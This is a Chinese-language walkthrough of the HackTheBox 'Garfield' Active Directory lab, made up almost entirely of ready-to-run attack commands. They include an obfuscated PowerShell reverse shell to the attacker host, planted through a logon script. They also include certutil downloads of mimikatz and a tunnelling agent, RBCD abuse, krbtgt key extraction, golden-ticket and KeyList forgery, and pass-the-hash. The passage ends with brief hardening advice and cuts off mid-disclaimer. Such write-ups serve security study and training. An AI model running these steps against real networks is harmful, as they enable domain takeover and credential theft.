| 参数 | 值 |
|---|---|
| 目标主机 | 10.129.228.168 |
| Kali 主机 | 10.10.16.46 |
| 域名 | garfield.htb |
| 初始凭据 | j.arbuckle / Th1sD4mnC4t!@1978 |
- 域名解析
echo "10.129.228.168 garfield.htb DC01.garfield.htb" | sudo tee -a /etc/hosts
- 端口与服务扫描
nmap -sC -sV 10.129.228.168
- 凭据验证与共享枚举
crackmapexec smb 10.129.228.168 -u j.arbuckle -p 'Th1sD4mnC4t!@1978' -d garfield.htb smbmap -H 10.129.228.168 -u j.arbuckle -p 'Th1sD4mnC4t!@1978' -d garfield.htb
- 生成 Base64 编码的 PowerShell 反弹 Shell
CMD='$client = New-Object System.Net.Sockets.TCPClient("10.10.16.46",4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()' ENC=$(echo -n $CMD | iconv -f ASCII -t UTF-16LE | base64 -w 0) cat > printerDetect.bat << EOF @echo off powershell -NoP -NonI -W Hidden -Exec Bypass -Enc $ENC EOF
- 上传恶意脚本至
SYSVOLsmbclient //10.129.228.168/SYSVOL -U j.arbuckle%'Th1sD4mnC4t!@1978' -c 'cd garfield.htb\scripts; put printerDetect.bat printerDetect.bat'
- 修改 AD 属性指向恶意脚本
bloodyAD -u j.arbuckle -p 'Th1sD4mnC4t!@1978' -d garfield.htb --host 10.129.228.168 set object "CN=Liz Wilson,CN=Users,DC=garfield,DC=htb" scriptPath -v printerDetect.bat
- 监听获取
l.wilsonShellnc -lvnp 4444
- 在
l.wilsonShell 中重置l.wilson_adm密码Set-ADAccountPassword -Identity l.wilson_adm -NewPassword (ConvertTo-SecureString 'WhoKnows123!' -AsPlainText -Force) -Reset
- 切换至 Kali 登录
l.wilson_admevil-winrm -i 10.129.228.168 -u l.wilson_adm -p 'WhoKnows123!' type C:\Users\l.wilson_adm\Desktop\user.txt
- 在
l.wilson_admWinRM 中将自己加入RODC管理员组Add-ADGroupMember -Identity "RODC Administrators" -Members "l.wilson_adm"
- Kali 启动 Ligolo-ng 代理
./proxy -selfcert -laddr 0.0.0.0:11601 # 交互界面执行: session 1 -> start # 新终端添加路由 sudo ip route add 192.168.100.0/24 dev ligolo
- 在 WinRM 上传并运行 Agent
certutil -urlcache -split -f http://10.10.16.46:8000/agent.exe agent.exe .\agent.exe -connect 10.10.16.46:11601 -ignore-cert
- Kali 创建伪造计算机账户
addcomputer.py garfield.htb/l.wilson_adm:'WhoKnows123!' -computer-name 'FAKE' -computer-pass 'FakePass123!' -dc-ip 10.129.228.168
- WinRM 配置 RBCD
Set-ADComputer RODC01 -PrincipalsAllowedToDelegateToAccount "CN=FAKE,CN=Computers,DC=garfield,DC=htb"
- Kali 伪造票据并获取 RODC01 SYSTEM
getST.py garfield.htb/'FAKE':'FakePass123!' -spn cifs/RODC01.garfield.htb -impersonate Administrator -dc-ip 10.129.228.168 export KRB5CCNAME=$(ls -t *.ccache | head -1) psexec.py -k -no-pass -dc-ip 10.129.228.168 -target-ip 192.168.100.2 garfield.htb/Administrator@RODC01.garfield.htb
- 在 RODC01 SYSTEM Shell 中提取密钥
certutil -urlcache -split -f http://10.10.16.46:8000/mimikatz.exe mimikatz.exe .\mimikatz.exe # mimikatz 内执行: privilege::debug lsadump::lsa /inject /name:krbtgt_8245 # 记录 AES256 Key: d6c93cbe006372adb8403630f9e86594f52c8105a52f9b21fef62e9c7a75e240 - 修复 RODC 密码复制策略 (在
l.wilson_admWinRM 执行)Set-ADComputer RODC01 -Clear msDS-NeverRevealGroup Set-ADComputer RODC01 -Add @{'msDS-RevealOnDemandGroup'='CN=Administrator,CN=Users,DC=garfield,DC=htb'}
- 在 RODC01 SYSTEM Shell 伪造 Golden Ticket 并发起 KeyList 攻击
.\Rubeus_v233.exe golden /rodcNumber:8245 /aes256:d6c93cbe006372adb8403630f9e86594f52c8105a52f9b21fef62e9c7a75e240 /user:Administrator /id:500 /domain:garfield.htb /sid:S-1-5-21-2502726253-3859040611-225969357 /flags:forwardable,renewable,enc_pa_rep /outfile:ticket8245.kirbi .\Rubeus_v233.exe asktgs /enctype:aes256 /keyList /service:krbtgt/garfield.htb /dc:DC01.garfield.htb /ticket:ticket8245.kirbi /nowrap # 提取输出中的 Password Hash: EE238F6DEBC752010428F20875B092D5
evil-winrm -i 10.129.228.168 -u Administrator -H 'EE238F6DEBC752010428F20875B092D5'
type C:\Users\Administrator\Desktop\root.txt摘要:本文完整复盘 HackTheBox 高难度 Windows AD 靶机
Garfield的渗透路径。涵盖scriptPath劫持、Ligolo-ng 内网穿透、RBCD 委派滥用、RODC 密钥提取以及高阶KeyList Attack绕过主域控认证限制。无废话,全干货,附完整命令与防御建议。
| 项目 | 说明 |
|---|---|
| 难度 | Hard |
| 架构 | Windows Server 2019 AD 域环境 |
| 核心组件 | 主域控 DC01 (10.129.x.x) | 只读域控 RODC01 (192.168.100.2) |
| 初始入口 | 已知凭据 j.arbuckle / Th1sD4mnC4t!@1978 |
目标开放标准 AD 端口(53, 88, 389, 445, 5985, 3389)。通过 SMB 枚举发现 j.arbuckle 对 SYSVOL 共享具备读取权限,且通过 bloodyAD 枚举发现其对 l.wilson 用户的 scriptPath 属性拥有 WRITE 权限。
关键命令:
crackmapexec smb 10.129.228.168 -u j.arbuckle -p 'Th1sD4mnC4t!@1978' -d garfield.htb
bloodyAD -u j.arbuckle -p 'Th1sD4mnC4t!@1978' -d garfield.htb --host 10.129.228.168 get writable --otype USER --detailscriptPath 是 AD 用户对象的标准属性,指向用户登录时自动执行的脚本路径。由于 j.arbuckle 拥有修改权限,我们将恶意 Payload 上传至 SYSVOL/garfield.htb/scripts/,并将 l.wilson 的 scriptPath 指向该文件。
Payload 构造 (Base64 防拦截):
CMD='$client = New-Object System.Net.Sockets.TCPClient("10.10.16.46",4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()'
ENC=$(echo -n $CMD | iconv -f ASCII -t UTF-16LE | base64 -w 0)
cat > printerDetect.bat << EOF
@echo off
powershell -NoP -NonI -W Hidden -Exec Bypass -Enc $ENC
EOF上传与属性修改:
smbclient //10.129.228.168/SYSVOL -U j.arbuckle%'Th1sD4mnC4t!@1978' -c 'cd garfield.htb\scripts; put printerDetect.bat printerDetect.bat'
bloodyAD -u j.arbuckle -p 'Th1sD4mnC4t!@1978' -d garfield.htb --host 10.129.228.168 set object "CN=Liz Wilson,CN=Users,DC=garfield,DC=htb" scriptPath -v printerDetect.bat等待后台计划任务或交互式登录触发,成功获取 l.wilson Shell。
利用 l.wilson 的 AD 模块权限,直接重置高权限账户 l.wilson_adm 的密码,并通过 WinRM 接管。
Set-ADAccountPassword -Identity l.wilson_adm -NewPassword (ConvertTo-SecureString 'WhoKnows123!' -AsPlainText -Force) -Reset切换至 l.wilson_adm 后,发现其属于 RODC Administrators 组,具备管理只读域控的权限。
RODC01 位于内网 192.168.100.0/24,使用 Ligolo-ng 建立稳定隧道。随后利用 MachineAccountQuota=10 创建伪造计算机账户 FAKE,并配置 基于资源的约束委派 (RBCD)。
# Kali 创建机器账户
addcomputer.py garfield.htb/l.wilson_adm:'WhoKnows123!' -computer-name 'FAKE' -computer-pass 'FakePass123!' -dc-ip 10.129.228.168# WinRM 配置委派
Set-ADComputer RODC01 -PrincipalsAllowedToDelegateToAccount "CN=FAKE,CN=Computers,DC=garfield,DC=htb"通过 getST.py 伪造票据,利用 psexec.py 成功获取 RODC01 的 NT AUTHORITY\SYSTEM 权限。
在 RODC01 上运行 Mimikatz 提取 RODC 专属 KDC 账户 krbtgt_8245 的 AES256 密钥。
lsadump::lsa /inject /name:krbtgt_8245
# 获取 AES256: d6c93cbe006372adb8403630f9e86594f52c8105a52f9b21fef62e9c7a75e240KDC_ERR_TGT_REVOKED
直接使用 RODC 密钥伪造 Golden Ticket 请求主域控 TGS 会被拒绝,因为 Administrator 默认位于 Denied RODC Password Replication Group。必须清空拒绝列表并添加允许列表:
Set-ADComputer RODC01 -Clear msDS-NeverRevealGroup
Set-ADComputer RODC01 -Add @{'msDS-RevealOnDemandGroup'='CN=Administrator,CN=Users,DC=garfield,DC=htb'}策略生效后,使用 Rubeus v2.3.3+ 发起 KeyList Attack:
.\Rubeus_v233.exe golden /rodcNumber:8245 /aes256:<AES256_KEY> /user:Administrator /id:500 /domain:garfield.htb /sid:<DOMAIN_SID> /flags:forwardable,renewable,enc_pa_rep /outfile:ticket8245.kirbi
.\Rubeus_v233.exe asktgs /enctype:aes256 /keyList /service:krbtgt/garfield.htb /dc:DC01.garfield.htb /ticket:ticket8245.kirbi /nowrap成功获取域管 NTLM Hash:EE238F6DEBC752010428F20875B092D5。
使用 Pass-the-Hash 直连 DC01,读取 root.txt,完成完整控制。
evil-winrm -i 10.129.228.168 -u Administrator -H 'EE238F6DEBC752010428F20875B092D5'
type C:\Users\Administrator\Desktop\root.txt- 严格管控 AD 属性写权限:监控
scriptPath、userParameters等属性的修改(Event ID 5136)。 - RODC 复制策略硬化:确保高权限账户(Domain Admins 等)严格位于
Denied RODC Password Replication Group,且禁止普通 IT 支持组修改msDS-NeverRevealGroup。 - 监控 RBCD 变更:重点告警
msDS-AllowedToActOnBehalfOfOtherIdentity属性的异常写入。 - 网络微隔离:RODC 通常部署于分支隔离网段,应限制核心网络到 RODC 网段的双向流量,阻断 Ligolo/Chisel 等隧道工具。
💡 红队思考:漏洞利用只是起点,权限的横向与纵向延伸才是核心。AD 环境中的“配置错误”往往比“代码漏洞”更致命。保持敬畏,持续迭代。
*(本文仅用于